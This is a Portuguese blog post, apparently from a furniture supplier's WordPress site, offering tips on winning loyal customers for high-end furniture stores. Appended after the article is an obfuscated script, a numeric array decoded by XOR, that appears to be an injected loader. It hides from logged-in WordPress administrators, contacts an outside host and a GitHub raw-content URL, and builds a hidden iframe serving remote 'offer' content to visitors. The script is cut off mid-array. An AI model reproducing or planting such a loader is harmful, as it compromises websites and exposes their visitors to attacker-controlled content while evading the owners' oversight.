<p class="wp-block-paragraph">Por isso, analise o mercado e tente oferecer aos seus clientes tudo aquilo que você sabe que eles buscam e quase sempre não conseguem encontrar em um só lugar.&nbsp;</p>



<p class="wp-block-paragraph">Para isso, una design e funcionalidade nos móveis do seu catálogo, garanta atendimento personalizado e eficiente e esteja atento às tendências do segmento.</p>



<h2 class="wp-block-heading"><strong>4. Crie um ambiente bonito, acolhedor e cativante</strong></h2>



<p class="wp-block-paragraph">Você deve saber: quem vai a uma <a href="https://marel.com.br/dicas-para-montar-showroom-de-moveis-alto-padrao/">loja de móveis de alto padrão</a> não está apenas em busca de um móvel, quer uma experiência de compra diferenciada. E para entregar essa experiência e fidelizar clientes é essencial que a sua loja seja um ambiente incrível, que una design e conforto, personalização e eficiência.</p>



<h2 class="wp-block-heading"><strong>5. Ofereça diversidade no pagamento e ótima experiência na entrega dos produtos</strong></h2>



<p class="wp-block-paragraph">Se a fidelização de clientes é o grande objetivo da sua loja, você precisa garantir a quem escolhe comprar com você boas opções de pagamento e qualidade na hora da entrega do produto.&nbsp;</p>



<p class="wp-block-paragraph">Para isso, ofereça diversidade nas formas de pagamento e conte com fornecedores que assegurem entrega rápida e profissional, além de assistência técnica qualificada.</p>



<p class="wp-block-paragraph">Agora que você já conhece todas essas dicas para fidelizar clientes, comece a aplicá-la e comprove os bons resultados que essas práticas ajudam a alcançar.&nbsp;</p>



<p class="wp-block-paragraph">E se você quer se diferenciar ainda mais da concorrência, leia também nosso artigo sobre <a href="https://marel.com.br/importancia-do-pos-venda-para-donos-de-lojas-de-moveis-planejados/">a importância do pós-venda para lojas de móveis</a>, nele você confere informações fundamentais para prestar esse serviço com excelência.&nbsp;</p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,12